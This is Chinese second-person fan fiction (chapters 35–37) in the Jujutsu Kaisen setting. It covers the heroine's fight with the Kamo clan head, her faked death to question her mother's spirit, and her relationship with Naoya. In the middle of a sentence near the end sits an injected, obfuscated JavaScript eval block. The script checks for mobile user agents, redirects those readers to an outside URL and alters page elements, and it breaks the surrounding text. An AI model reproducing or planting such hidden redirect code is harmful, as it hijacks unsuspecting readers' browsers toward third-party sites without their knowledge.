这人挺强的,而且明显对你有企图,如果不反抗的话真的会出大事的! 你被拽着,同时不断偷偷展开手心大小的训练室环境,在地上留下若干属于你的残秽。 ‘这人感觉好熟悉。‘你有些狐疑地看向拖着你的高大男人,总觉得好像是…但是不敢确认。 被拖到了无人的小公园之后你猫猫祟祟抬头,嘤了一声,待加茂康诚回头查看,就被浓缩滚烫的岩浆直接喷射了一脸,高温烧烂了他的鬼面具和脸,衣襟上别着的变声器也应声落地。 听到了对方用自己的声音哀嚎,你确定了对方的身份,也知道今天必须拼个你死我活了!! 你冷静地看着被烧得一塌糊涂的糟老头子,心道我爪也未尝不利!另外…恭喜宪纪很快就可以“称帝”了! 35.第 35 章 你劈头盖脸又朝着加茂老头的脸上浇了几次岩浆,他好像有保命的咒具,这样都没死掉,反而暴怒地伸出手要捉你,暂时打不过的你决定战略性撤退。 还没跑出两步,你的胸膛就被血液穿透。 ‘穿血。’你怔怔看向胸口处的空洞,你只知道宪纪会赤血操术,没想到看起来没用的加茂家主也会。 你来不及细想,赶紧使用反转术式治疗自己。身后血箭和发了狂一样朝着你射来,你第一时间趴地减少暴露的身体面积,可是身上还是被破开了好几个血洞。 “该死的贱人!”身后的凶犯地狱恶鬼一般的声音传入你的耳中,带来巨大的压迫感。 他身受重伤却仍有攻击力,你像应激的兔子一样趴伏在地上一动不动,闭眼装死,这样更符合重伤后的表现。 须臾,一双满是烫伤的可怖大手揪着衣领把软趴趴的你拎起来,你听到他咬牙切齿地嘀咕。 “如果她死了……太爷爷那边不好交代啊,可恶的贱人!等太爷爷玩腻了我要把你千刀万剐!” 你心说原来宪纪的太太爷爷还在世,听起来好像邪恶的反派!加茂可是咒术界的嫡流,怎么能有这么不合格的家伙还坐视不理呢?你下意识地在心里复刻了宪纪之前评价虎杖的话,感觉自己非常幽默。 “好像真的死了?”加茂康诚见你手软脚软紧闭双眼,出于对‘太爷爷’的惧怕,他‘啪唧’一下把你丢地上,赶紧在怀里摸找急救药。 他怕你死了,而你只想他快点死。 下一秒,你的强光结界展开,加茂康诚几乎被贴面的激光闪瞎,他立刻用咒力保护住眼睛,同时听到身边的你哒哒哒跑路的声音,他大骂该死的贱人,闭眼狂追。 你追我赶了半天,一直跑到山顶上,你们都存了把对方推下去一了百了的坏心眼,死战一触即发! ‘不愧是乐岩寺老头的外孙女,果然藏了不少本事。’ ‘不愧是加茂家主,还是蛮厉害的……’ …… 直哉这一觉睡得很沉很深,还做了梦。 是非常真实的梦,好像是某个新年,他带着你去神社参拜,雪色天光中你美得仿佛不是人类,他为你整理和服腰封的太鼓结,你们两人缓步走在雪后的街道上,他撑着伞遮挡树上的落雪,一路上自有许多路人感叹好漂亮的小夫妻。 是一个美梦呢…… 你们走入空无一人的神社准备净手,要在一起许下新年的第一个愿望。 他才刚帮你挽起袖子,那洗手井的清水突然变成了暗红色的血液,咕嘟咕嘟如地狱之火一般蒸腾起来,迅速隔开了他,将你一个人包裹在了里面。 “离!”直哉惊叫着从床上坐起,看到对面正襟危坐的禅院兰太,他意识到这是一个噩梦。 普通人会觉得好不吉利,可禅院直哉是咒术师,他相信这个梦不会是空穴来风,也许是你真的遇到了危险。他立刻给你的手机打了电话,依然是乐岩寺接的。 根据兰太所说的时间,你已经离开禅院两个小时以上,乐岩寺距离禅院走路也不到二十分钟的路程……不吉利的梦、没有及时归家的你、强烈的坏预感,一切都指向着你出事了! 直哉顾不上和电话里的乐岩寺解释,直接让兰太集合躯具留队,他要去救你! …… 多亏了你留下了充足的咒力残秽,直哉带着兰太等人没多久就锁定了那个废弃公园,并在悬崖边找到了趴在血泊里奄奄一息的你。 他颤抖着手轻轻把你翻身过来,发现你的身上好多血洞,散开的和服上的血液都干涸发暗了…… “离……”直哉颤抖着声音轻呼你的名字,你突然用力抓住了他的手。 “直哉,我没事,不会死!快带我回乐岩寺!对了……不要联系家入医生!” 禅院医疗队抬着担架上前,你捏了一下直哉的胳膊,表示自己很有力气,真的没事,然后又闭眼装死。 直哉有些懵…虽然你的脸色苍白,身上也是惨不忍睹,但是说话的时候口齿清晰,字正腔圆,中气十足…捏他的小手也超有力。 难道! 他想到了非常不好的词语:回光返照! 在回乐岩寺的路上直哉一直处于恍然的极度恐惧状态,他坐在禅院的救护车里,守着躺在担架床上被简单包扎后,可能只剩下一口气的你。 他想联系家入硝子从东京赶来救你,可是他又习惯性服从你的命令,你说不能找东京的人,难道说……袭击你的人是五条悟派来的吗? 直哉只觉得脑袋乱乱的,但是那些都不重要了,重点是你看起来快死了。 他恨自己无能,为什么要睡着?不就是家主之位吗?那个垃圾场有什么用啊?那能和你相提并论吗?入赘有什么不好?为什么,为什么,为什么要睡着!!为什么让你一个人出门,为什么……连你都保护不好…… ‘等一下!也许…我能不能把阿离变成咒灵?就像东京的那个乙骨忧太一样……’ ‘不行不行,太丑了,她肯定不愿意。禅院还有什么其他秘传吗?要保持人形地复活…乐岩寺老头一直不喜欢我,说不定都不会把阿离给我,啧,得想个办法。’ ‘如果真的没办法,我也不会让你一个人,放心吧,坏猫。’ 他垂眸凝视着你,金绿色的眼睛如一汪死水。 你看表情就知道直哉在胡思乱想,于是轻声让他附耳过来,认真严肃道:“直哉你听着,我的伤不致死,等下我要骗外公,你配合我!这件事对我很重要!” 直哉有些迟钝地伸手抚上你的额头,触感一片冰凉,他喃喃自语:“离,你是不是出现幻觉了…你伤的比你想象中重多了。” 你无法解释,只能再强调一遍让他等会儿好好看着别说话。 你很快被抬入乐岩寺宅,得到消息的外公骑着鬼火已经赶回了家,一大群京都高专的医生也随即赶到,你气若游丝地开口:“外公……我要妈妈。” 乐岩寺红着眼:“不许去见你妈妈,你答应过要给外公养老送终的,还说要让外公给你带孩子呢!外公给你攒了那么多钱,你都还没花啊。” “没关系的外公,新田新已经用术式处理过我了,死不掉,家入医生也在赶来京都的路上。让医生们都出去吧,他们帮不上忙。”你给出了刚才在救护车上打好腹稿的谎言,这话果然奏效,乐岩寺立刻收起了眼泪,眼里绽放出希望的光来。 京都高专一年级的新田新,术式可以让人暂时保持住活着的状态,乐岩寺作为校长,对此也早有耳闻。 直哉听你撒谎如此自然,更加惊疑不定:离为什么撒谎?哪有新田新?哪有家入硝子?不要命了吗! 你让直哉坐床上抱着你,在没人看到的角度重重的捏了他的腰上软肉,趁着外公回头让医生们先离开,你小声警告直哉别多话! 直哉满腹狐疑,因为你捏他的力道真的很大,确实不像快死了的样子,可是你身上都被血染红了…到底是怎么回事啊! “外公……要妈妈。”你伸手拉住外公的袖子,盯着他苍老的脸,一个字一个字坚定地说。 “好好好,要妈妈,外公什么都答应你。”你身受重伤,即使不死也遭大罪,乐岩寺心疼坏了!他说着转身打开了神龛下的暗格,颤手取出了一个小匣子。 闲杂人等都退了出去,屋内只剩下你们三人。 …… 直哉万万没想到的是,你说的‘要妈妈’居然是可以真的见到的。 他知道传统咒术师家庭都有些暗藏,比如禅院有关着咒灵的房间。但是没有想到乐岩寺居然有关着女儿的盒子,倒不是说女儿是人,而是残留的咒力。 而且他现在也有一点理解,为什么乐岩寺不愿意让你见她…她确实大有问题… 此刻‘阿离妈妈’正全须全尾地站着,有些新鲜地打量着女儿,然后一脸兴味地看向直哉:“小帅哥,有火吗?身板不错,肩膀挺宽,长得也漂亮。” 她边说边在自己的牛仔短裤里掏烟,没掏到。 ‘阿离妈妈’是一个看起来二十出头的,黑发黑眼的矮个子女人,肤白貌美,秀气温柔,是很好看的类型。不过在直哉看来,她只是普通好看而已,和你白精灵一样的外表相去甚远,你可能更像爸爸。 “明光!”乐岩寺不满地用拐杖敲击地面,示意她关注你。 “哦哦,阿离长那么大了啊,怎么看起来不太好啊?”乐岩寺明光,也就是你的妈妈,笑嘻嘻地看你,她伸手想摸你的脑袋,但是她没有实体,手直接穿透了过去。 你:……我在表演快鼠了,当然看起来不好啊。 “别废话那么多,说点妈妈该说的啊!”直哉看不下去了,虽然他也不知道一个妈妈应该说什么,但是你濒死都想见她,她总得说点温暖的话吧! 你不打算浪费时间,示意直哉把你扶起来一点点。 直哉尽量小心扶你,他低头瞥见你胸前一大滩血印,只觉一阵心悸。你见他恍惚,又掐了他一下。他知道你在提醒他这是表演,但是伤口和出血量都是真的啊!直哉心乱如麻,不知道你到底为什么那么自信会没事,可眼下他也不好打断你们母女交流。 “妈妈,我爸是谁?他是很强的咒术师吗?是传说中的那种人吗?”在东京的时候五条悟多次提起你咒力多得蹊跷,怀疑你是乙骨忧太的表姐,所以你很想知道爸爸的身份。 如果你真的是五条悟和乙骨忧太的亲戚也不错,毕竟他俩都是特级,亲戚可以特级,那么你努力一下也应该可以。 “哦,你爸啊……是个狐狸半妖,帅哥来着的哦。我当时还和五条家有婚约呢,因为你爸爸太帅了,我就瞒着老爸去退婚了。”妈妈就这样轻轻松松说出了惊天大秘密,看你外公阴沉的脸,你知道她没撒谎。 接下来你继续问,妈妈逐一回答。 首先浅川不是姓氏,而是你爸爸的住址,它存在于一个没有咒力满是妖力的世界,浅川只是那个世界的一小部分,她在任务中不小心进入,然后邂逅了你的帅爸爸。 你爸作为人类和狐狸妖怪(母狐狸)所生的半妖,因为长得太好看了所以被称为白狐公子,一头白色长发,琥珀色眼睛,生的玉树临风,风雅非常……妈妈对他的回忆几乎都是美貌描述,那肯定是非常好看了。 妈妈顺嘴高度肯定了你和她的血脉相承,你选的男朋 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听着乐岩寺明光轻松的语气,嘻嘻哈哈的态度,直哉只想给她两拳,骗一下女儿你会死吗?(好吧她已经死了),干嘛要说的那么现实…… 直哉不爽你妈妈,你却很有共鸣,眼睛亮晶晶地频频点头。 “阿离,想去浅川见见爸爸吗?”她突然有些严肃地问你。 “不……”你觉得没啥意义,即使他是你爸爸,可他住在‘浅川’这样诡异的地方,你又不是恐怖片的主角,不会莫名其妙就想去冒险。 “他自愿被我做成了超强的咒具,那可是我最高的杰作嘿嘿,想要的话就去拿吧,不想要也没事。” “……母亲,我要见父亲。”因为想要超强的咒具,你连称呼都尊敬了几分。虽然你很震惊妈妈说的话,但是想到她是一个构造术师,会这样做也不奇怪吧……还是有一点奇怪的,不管怎么说都很奇怪啊! 直哉也是瞳孔地震:岳母把岳父做成咒具……真的有人会自愿这种事吗?哈? 只有你外公眼观鼻鼻观心,不予置评。 “想见就去吧,嗯…我觉得吧,你这个男朋友漂亮是漂亮,穿低露肤度的日洋折衷,扣子还扣到顶,喉结都没有露出来,禁欲style挺性感的,就是身子有点壮,手脚也大,全身上下只有脸秀气,妈妈觉得还是薄肌那种更好抱一点…” 直哉听得青筋直跳,咬牙握拳,心说神经病啊!是说这个的时候吗?而且坏猫为什么在点头啊? “小帅哥,你叫什么名字?” “禅院直哉。”虽然不爽,但是毕竟是你的妈妈,直哉还是乖乖报上名字。 “御三家的男人啊…确实不太好…”乐岩寺明光皱眉。 “妈妈,他没有那么不好…”刚才加茂家主用“落花之情”等御三家的秘传对付你,好在直哉早就全部教给你了!他都没在意你们还没结婚就把秘传教了个底朝天! “御三家的男人X上功夫都不怎么好…” 在X上很传统的禅院直哉失去了反驳的力气:… “神经……”乐岩寺眼疾手快地关掉盒子,还在评价男人X能力的妈妈瞬间消失。 看着小脸煞白的你,乐岩寺擦擦眼角,心说我的宝都伤成这样了,白痴女儿还在那边讲没用的,家入硝子怎么还没来啊? 他想给家入硝子打电话催促,但是又知道京都和东京的距离确实远…好在有新田新的术式,事后他一定要感谢那孩子…保住了他宝贝孙女的命。 他爱你超过爱女儿,因为女儿是个知道会死也要去死的混蛋,而你要死都要回到外公身边……高下立判! 想到你是那么懂事贴心的小棉袄,乐岩寺想嚎啕大哭,但是下一秒他还未夺眶而出的眼泪被硬生生憋了回去。 随着咒力高速运转,你从直哉怀里直起腰来,喟叹一句:“呼,现在舒服多了。” 因为你和五条悟有“不能主动告知他人反转术式”但是“受重伤可以使用”的束缚和豁免,在小公园你就把伤势治疗到重伤却不至于死掉的范畴,所以现在使用反转术式是不违反束缚的。 装一次死得到了身世的秘密,还把你会反转术式的情报当面共享给了直哉和外公,很划算! 直哉看着你迅速恢复了生机,意识到今天你俩都不会死了!你们还可以长长久久地在一起!对啊,刚才你就说了不会死……坏猫这次居然没骗人!他刚露出狂喜的表情,就看到乐岩寺如怒目金刚一般挥舞着拐杖呼啸而来。 “浅川离!你这个小混蛋!和你妈妈一个样!学会了反转术式为什么不早点用!让外公担心很好玩吗!” “外公你听我说……啊啊啊!直哉!直哉!快救我!”你立刻矮身钻进直哉的怀里,把脸埋进他胸口。 乐岩寺嘉伸的棍棒教育如雨点般落下,你躲在直哉怀里暗道完蛋,外公真的生气了! “外公!别打直哉的脸!”想到这个重中之重,你小心翼翼微微探头出声提醒,结果起到了反效果,直哉得到了更狂乱的拐杖攻击。他把你搂得更紧,嘴里小声嘀咕老头子疯了,还不忘安慰你没事的没事的,别害怕。 你吓得把头又埋进他胸口…咦?直哉闻起来香香的…妈妈说得不对,直哉其实很好的… 36.第 36 章 乐岩寺这次是真的暴怒,他愤怒地拿着拐杖暴打了一顿在他眼里不但是共犯,还死死抱住你的直哉。 你哇哇大哭,说因为真的太想知道爸爸妈妈的事了,这次受伤了才想着利用一下,不是处心积虑的!你在直哉怀里哭得很伤心,衣服血糊糊的,看起来要多惨有多惨,乐岩寺心软说算了,就当是愚人节吧,外公不生气了。 等外公拄着拐杖回了房间,你悄咪咪停下哭泣,从直哉怀里钻出来,探头探脑地观望了一会儿,发现外公好像真的休息了,才扑到一旁坐在地上,有些被打懵了的狼狈直哉身上,问他怎么样? 直哉金发微乱,神情有些懵,你心说他毕竟是禅院嫡子,从小到大没人敢碰他一根手指,现在被外公劈头盖脸打了一顿,自然是一肚子气。 他自然生气,理由却不是你想象中的挨打。 “浅川离!耍人玩很有趣是吧?你知不知道我……我。”直哉想说他刚才都在思考万一你…他要如何说服乐岩寺,让他把你的尸体带走,再如何逼迫直毘人开禅院忌库,他要进去找死而复生的秘传禁术。他甚至还想过,实在不行就去赏金网站找诅咒师,即使和他们同流合污也要找到办法让你回来。 不管你是人是妖怪是咒灵还是亡灵都不是他放手的理由。你是死是活都得和他在一起!你是禅院直哉的重要资产!他不会让你逃走的! “笨蛋直哉,我都说了不会死了!是你自己不信任我!”对直哉你就懒得装乖了,叉腰哼唧,气势比他还强,完全就是要蹦到他头上去的嚣张模样。 他没想到你脸皮厚到一点都不愧疚,那张能说出很多刻薄话的嘴,也一时语塞。 你也生气!生气直哉不够信任你,但是他毕竟是最漂亮的小狗,是你最最喜欢的直哉。 他的俊脸没事,身上却结结实实挨了好一顿打,此刻正倔强抬头,带着一点忿恨不服看你,真的好像一只漂亮狐狸,看着有点可爱!你开始底气不足,声音也放软了:“我,我治一下你吧,直哉。” 他哼声,你扶他,他故意把整个身体的重量都压在你身上,差点把你压塌。 “离,你和五条悟在东京就在捣鼓这个吗?”直哉少爷大马金刀地坐到沙发上,等待你的‘服务’,他觉得好像发现了东京的真相,悄咪咪心情大好:之前原来真的不是出轨啊,居然是好猫,不不不,好狐狸…… “不是。”你不知道直哉的想法,干脆利落地否认,然后专心给他治疗。因为是直哉,你处理的特别小心,边边角角的伤口都照顾到了,像处理珍贵的瓷器一样修复他的身体。 直哉刚刚好起来的心情瞬间被你又打压下去,和五条悟不是在研究反转术式,难道说还是偷情吗?虽然学会反转术式确实很好…但是你和五条悟的私情和秘密更让他在意,他嘴角又撇了下去:坏狐狸!坏猫! “喂,离,你觉得那个女鬼说的都是真的吗?”他不想再去想五条悟任何,于是换了个话题,他盯着你还是有些煞白的小脸,用视线描摹着你的精致五官,虽然是提问,但是他心里有答案,你确实漂亮得超出人类范畴了。 “那是我妈妈,你不应该叫阿姨吗?”你有些不满他的没礼貌,不过因为直哉一直是这样的,你也没太计较,“是真的吧,外公没必要骗人,而且她长得和我有点像吧?” “完全不像,除了性别一样,我找不到什么相似之处。”直哉回忆了一下乐岩寺明光那张美丽却有点淡的脸,再看向你苍白却也发光的艳绝小脸,平心而论,你的五官优越太多了。 妖怪混血怎么不算混血呢,长得太好看可能是来自于那个半狐狸的基因?他盯着你的脸,思忖着。 “怎么啦?难道说……直哉你介意我的身世吗?”见他若有所思,你突然停下了手里的动作,警惕抬头,语气危险,眯起眼睛,“禅院直哉,你开始嫌弃我了?你觉得我不是人?” “谁,谁嫌弃你?嫌弃我还替你挨打吗?快给我过来!”直哉一着急关西腔就更加浓厚,甚至听起来有点气急败坏,他动作难得粗鲁地把脏脏的你一把拉了过去,摁到腿上放好就抱着开亲。 直哉觉得你欠他太多了!他差点被你吓死,身上还很痛,如果不能尝点甜头,他就太委屈了!虽然你现在确实有点脏,但是因为是你,他可以勉强忘记洁癖。你是坏猫,你活该挨亲,被亲秃都是应该的! 你俩总是这样,吵归吵,闹归闹,黏黏糊糊不会少,你们都是对方的天菜,不管你是否纯粹的人类,这点都毋庸置疑。 亲亲抱抱舔舔揉揉最后被你用全力推脸后,略感满足的直哉才想起来最重要的事:“对了!谁干的?” 你“啊”了一声,心说妈妈的事情冲击太大,连你都忘了这茬!赶紧回答:“是加茂家主!” 空气凝固了几秒,直哉觉得这个对话非常熟悉,第一次绑架你谎称是加茂家,这一次居然真的是加茂家。上次难道也是真的?! “那个庶子的爸?好啊,我就知道他不怀好意!莫名其妙的提亲……那时候估计就憋着坏心了。”如果加茂家提亲是出于对你的欣赏,那直哉会觉得他们该死却有眼光,现在看来目的不纯,纯粹该死! “你不要老叫人家庶子,他很快就是新的加茂家主了。”你一边讲道理,一边伸手去摸直哉冰冰凉凉软软的脸,轻声安抚道,“已经没事了,别生气啦直哉。” “那老头死了?”直哉捉起你的手放在脸上贴贴,他并不意外这个结果。你本来就不是一个好欺负的猫(狐狸)。平时的柔弱和胆小都有表演成分,他知道你其实胆大心黑得不得了。 “大概率吧,我不太确定,他倒下后我又拿他的刀补了几下,然后把他从悬崖推下去了,可惜那座山不高。”你任由他把玩着你的手,“理论上我们应该去加茂家讨公道,但是犯人已经死了,我难道要和宪纪敌对吗?不太好…” “哈?他应该跪地给你道歉加道谢才对,如果没有你,他这个庶子要什么时候才能当家主啊?”直哉不满你叫他宪纪而非加茂,说完又想到自己年近三十还是少主,甚至可能赘给这只坏猫,他越想越气,重重哼一声,开始在心里怒骂直毘人。 “先不说了,直哉,我身上好脏,人也好累,想睡觉了。”你把脑袋直接搁到他的身上,没有骨头一样地趴着,声调也因为疲劳而变得瓮翁的。 “睡吧。”直哉抱着你站起来,那双傲慢的金绿眸微垂,声音也轻柔下来,“都交给我吧。” “嗯,我要穿胡萝卜花纹的那套睡衣,卫生棉拿18CM的,沐浴露用方的那盒,洗发水用粉的,吹头发风要二档,熏香放苹果花的。”你一口气嘱咐完,直接闭上眼,放心倒在他身上睡去。 单手抱着秒睡的你,直哉低头亲了亲你头顶柔顺的白银色头发,又深深吸了一口。 “还是猫的味道。”他自言自语,抱着你走去浴室。 …… 在你的问题上,乐岩寺是完全不讲谋略的。 在得知犯人是加茂家主,还涉及到神秘的‘太爷爷’后,他让你在家里‘养伤’,清早就带着直哉气势汹汹地冲到加茂家,完全不给对方面子,直接要求见加茂康诚。 加茂主母一脸疲态地出来迎接,说家主宴会后就突发恶疾,身体抱恙,此刻正卧床不起,她昨天亲自照顾了半宿。为了让直哉和乐岩寺信服,她甚至引着二人去看:在香烟缭绕的房间,隔着一张半透明的屏风,榻榻米上躺着一个不断咳嗽的男人,从身形上来看确实是加茂康诚。 他很是客气地隔着屏风问候了乐岩寺和直哉,又问禅院和乐岩寺联袂来访是为何? 直哉本来就是脾气差的论外之男,他受不了这种糊弄,在加茂主母的惊呼声中他一脚踢翻屏风,径直把那个‘家主’凶狠地拉了起来。 那人露出正脸,确实是加茂康诚……这下尴尬了。 “禅院少主,你这是在干什么呀!”加茂主母急急忙忙地冲过去拉住他的袖子,“就算有什么误会说开了就好,怎么还动手打人呢?” 直哉面色铁青,满脸不爽,难听的话几乎脱口而出:“你这女人…” 乐岩寺立刻跟近,打断了直哉将要口吐的芬芳。老狐狸为屑狐狸开脱道:“禅院这孩子只是太担心加茂家主了,想近距离看看病情罢了,请家主和夫人不要误会。” 被拎着衣领快喘不上气来几乎要被掐死的加茂家主:…… …… 直哉一脸被欠了十亿日元的表情怒气冲冲地走在前面,乐岩寺缓慢跟在后面,两人一起离开了加茂家。 加茂家主说自己昨天回家后一直卧床,又说家中年龄最大的是爷爷辈的一个旁支,如今已经老年痴呆,并且住在美国,根本不存在什么幕后黑手太爷爷。 说来说去,反正就是一切都与他无关,他还委屈上了:禅院直哉一副要杀人的样子,真是不讲道理,直毘人怎么也不管管啊。 “阿离说她至少用岩浆浇了他三次,那脸怎么完好无缺,即使是用反转术式也会留下疤痕吧?”直哉在车上发火,觉得加茂老头一定是有什么见不得人的手段。 “稍安勿躁,禅院。”你外公是不可能慈爱地称呼他为‘直哉’的,现在已经算是态度不错了,“估计是用了替身吧,如果替身是加茂康诚的弟弟加茂勇,他们虽是同父异母却有七分相似,年龄也相仿,稍微改一下脸就行了。” “加茂家死不承认,我……要不去杀了加茂宪纪!”直哉灵机一动,半真半假地试探。 乐岩寺用看神经病的眼神看他。 “……那你说怎么办?”直哉被老爷子看得发毛,只能缓和下来态度。 “你先回去找阿离,五条悟还在京都,老夫去找五条悟商量。”乐岩寺叹气,他是完全不想和禅院的论外之男绑定任何,但是在阿离的事情上,这人还算是自己人吧,而且他以后很大可能会赘进来。 “哈?你该不会要把阿离送给五条悟寻求庇护吧?我劝你想想清楚。”直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143309|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哉一直是用最大的恶意揣测乐岩寺的,他眯起那双金绿色的上挑眼,抬着下巴警告他,“浅川离是我的,你明白吗?生是我的人死是我的鬼。” “你才死呢!我家阿离不会死!会活几百年!”乐岩寺说完就意识到自己失言了,他生怕直哉追问,立刻摆手示意说他先走了。 “什么?你……”直哉当然发现了乐岩寺的遮遮掩掩,“什么几百年,校长你说清楚!” “她爸爸是半妖能活几千年,她奶奶是狐妖能活万年,她是半妖的半妖总有几百年,而且他们一家都不会老,你明白了吗?”乐岩寺见他起疑便决定不再隐瞒,说出了自己的推测,“因此老夫一直在给她购置房产,存储金条,不满意你也是……你本来就比她大八岁,那不是分开得更早了吗?” 乐岩寺说完想补充,讨厌你不仅仅是因为年龄,年龄只占了一小部分原因,但是看到直哉一脸如遭雷劈的样子,他还是善良地住口了,万一禅院真赘进门就是一家人了,现在还是给他留点面子。 直哉本来觉得你是人是狐没有什么区别,你身上流着的是稀薄的一半又一半的狐狸血,根本不算什么!你依然是他猫猫咪咪的无赖漂亮小猫咪。 但寿命的差距让直哉意识到,他只会存在于你生命中一小部分时间,他不是可以陪你走到最后的那个男人,在他死后,你有的是时间去找其他男人! 那些杂碎也会在夜晚抱着你汲取温暖,甚至把灵魂都交付给你吗?他们也会陪着你去看电影,吃饭,看樱花,逛展览,到处游玩吗?陪着你去火山,去雪地,去泥沼,去密林到处拓印环境? 你一定会用那双琥珀色的漂亮眼睛温柔地注视着他们,轻轻呼喊他们的名字,猫猫祟祟地坐在他们身上撒娇,甚至允许他们…而他,禅院直哉,会慢慢被你遗忘。 你是最最最坏的自私猫,不可能用几百年来怀念他,能记住十年都算你有良心了,甚至可能都不用等到他死…在他走下坡路的时候就… “禅院,禅院?”乐岩寺见直哉石化原地,叫魂一般将他叫‘醒’,“那就此分开吧,你也别在外面呆太久了,回去陪陪阿离。老夫不放心阿离一个人在家里。” 随着话音落下,直哉第一次觉得老爷子说了句人话,他的话好像一道微光,破开了眼前的漆黑一片。 ‘是啊,阿离需要我。’ ‘如果我做得比谁都好,让她留下最深刻的印象呢?’ ‘我可是禅院直哉,这个世界上就没几个比我漂亮还比我强的男人吧?就算真比我漂亮比我强,可是谁又会有我听话呢?在这一点上,就连现代最强五条悟都比不上我吧?’ 乐岩寺惊恐地发现禅院直哉很不对劲。 刚才还面若死灰的他,不知道被哪句话刺激了,居然自信又自傲地笑了起来,这比哭还诡异! “禅院,你看起来有点奇怪,老夫还是和你一道吧。” “不用,你去找五条悟吧,我去照顾阿离。”直哉呵了一声,“论照顾阿离,我才是最强的。” 乐岩寺:发什么疯? “老夫要和你一起,走了。”乐岩寺不放心让直哉一个人回去找你。 “随便你。”直哉没心思去猜老爷子在想什么,只觉得人生目标更新了。 他依然要成为禅院家主,要追赶五条悟和甚尔。但最重要的是,他要成为你漫长生命中最特别的人,即使有一天他不在了,他和你的美好回忆也要占据你的心神,让你以后找的男人都有他的影子。 … 此时的你正穿着胡萝卜花纹的睡衣,躺在床上吃着切好的哈密瓜,看搞笑综艺,哈哈哈哈笑个不停。 你并没有考虑过太多生离死别的问题,你唯一担心的只有外公。不过外公年近八十,老去是自然规律,你也是无可奈何,害怕并接受。 好似和直哉共感一般,你突然放下水果叉,想:如果是直哉呢?你漂亮强壮的小狗…如果他像家里的那条老狗一样一点点老去,皮肤渐渐暗淡,毛发渐渐花白,肌肉渐渐流失,在某天疲倦又无力地闭上他金绿色的眼睛… 你害怕了几秒,然后转念一想,直哉只比你大了八岁,如果他真的有那么一天,那么你也不会难过太久。如果直哉一百岁去世,那时候你也九十二岁了! 还有大几十年呢,说不定那时你俩早就分手了!想到这一点的你放松下来,开始盘算等直哉回来让他给你捏捏肩膀,他手大力气大,捏起来舒服。 男朋友嘛…就是得趁着年轻力壮的时候多用用!虽然直哉现在没有走下坡路,依然挺钻石的,但是你知道有个词语叫断崖式衰老…得抓紧时间能用则用,明天反正也没啥事,经期应该也结束了,不如… 因为明天打算要做,你突然想到了妈妈的话,御三家的男人技术都不好…直哉他虽然很卖力也很会撒娇,人也赏心悦目,但是确实每次都差不多啊。你想和他提一下这个缺点,然后看他恼羞成怒小狗狂吠!那应该会非常有意思啊… 37.第 37 章 “直哉,你回来了!”等手机里的门铃app显示直哉和外公一起回来了,你第一时间下楼冲到门口,喊着直哉的名字,跳起来挂他身上,又亲又蹭又贴贴,分开不到半天却好像一周没见一般,超热情! 乐岩寺看禅院直哉精神稳定,又看你俩开始黏黏糊糊了,于是说他先去找五条悟,有点没眼看地转身出门。 直哉不同于往常,他有些沉默地托住你抱着往里走,顺嘴亲了你两口但是罕见地没用关西腔调侃你的热情。他不想告诉你关于寿命的烦恼,要是你现在哭起来他还得哄,麻烦死了! 虽然大部分人对你的印象都是自私猫,但是其实你还是有心的。 你曾经一本正经地和直哉讨论过,这辈子你吃的最大的苦,肯定是将来外公去世。 他记得你说着说着就开始吧哒吧哒掉眼泪,还没等他安慰,你就把自己哄好了。 “直哉,还好我们的年龄差不多,我不会受第二次这样的苦,你真好!”当时你泪痕还未擦干,语气却已雀跃,琥珀色的眼睛混合着兴奋和点点泪光,你环住他的胳膊,贴着他认真道,“你不能太早离开我哦,不然我又要难过了。” 即使是至亲至爱之人的离去,你首先担心的还是自己的感受,说你是自私猫并不冤枉。可是直哉却对此大感安心,不管理由是什么,你不想和他分开的心情是真的! 他思绪回笼,侧目看你一脸猫猫祟祟有求于他的样子,直哉就知道你想要什么。每个月你总有那么几天特别粘人,特别馋他身子,特别想要,他完全看破并暗自命名为“直哉快乐周”。 直哉抱着你在客厅的沙发上坐下,用日常使用投射咒法的那双大手认真按捏你的肩膀,你先哇哇喊疼,然后又享受地眯起了眼睛,像真正的猫被人用手指弹敲脑门一样舒服。 他一边揉按一边把你整个人搂进怀里,安静地感受着和你柔软温热的身体,享受在一起的分分秒秒。 “直哉,是在加茂家发生什么事了吗?”你察觉到了他的沉郁,于是转头贴着他戴满耳钉的耳朵小声询问,“他们是不是死不承认啊?要不算了吧,反正宪纪爸爸大概率死了……” 即使直哉心中在悲秋伤春,你俩的情报共享习惯还是存在的,他手上的动作不停,简单和你说了一下在加茂家的所见所闻。 “啊?那么快就找好了替身吗……宪纪应该能察觉到吧?”其实你也不太确定,宪纪好像和他爸爸不太熟悉的样子,他俩的友好程度甚至低于禅院父子。 “又叫他宪纪。”直哉闻言面露不满,脑海里不自觉地浮现出了未来可能出现的年轻美男子,对十八岁的宪纪更是不爽。他停下按摩,伸手捏住你小巧却高挺的鼻子,听你发出呜呜声抗议,他哼笑着低头亲咬你的嘴唇,直到你们的呼吸都变得沉重粘稠。 “在这里吗?”你微微喘着气,抬脸期待地问。 “当然是回房间!”直哉把你捞起抱走,心说虽然管家女仆日常不进主宅,但是万一老头突然回来了呢? 不在卧室确实应该挺刺激的,可是乐岩寺是真的会拿拐杖打人的!而且真的很痛! …… 你俩回了卧室就没再出来,晚餐都让女佣放在门口,第二天早上你外公很不高兴地敲门,你才不情不愿地和直哉去吃早饭。 吃完早饭你提出要去整理库房,外公没挣扎,直接让管家把钥匙给你。你以为直哉要回禅院去处理耽搁了的公务,没想到他催你快点,理好仓库陪他回去午睡补眠。 你隐隐约约感觉到直哉对禅院好像有点摆烂了:躯具留队的训练、炳的任务、咒具的调配,这些以往他会亲自盯着的事情,现在都用手机发信息吩咐别人去做了。 他确实很不对劲,昨天意乱情迷的时候,他居然停下来好几次,有点警惕地问你是否只属于他,只要你晚回答一秒,他就会有点疯…害的你时刻注意,快问快答,避免被患得患失的直哉压成一张猫饼。 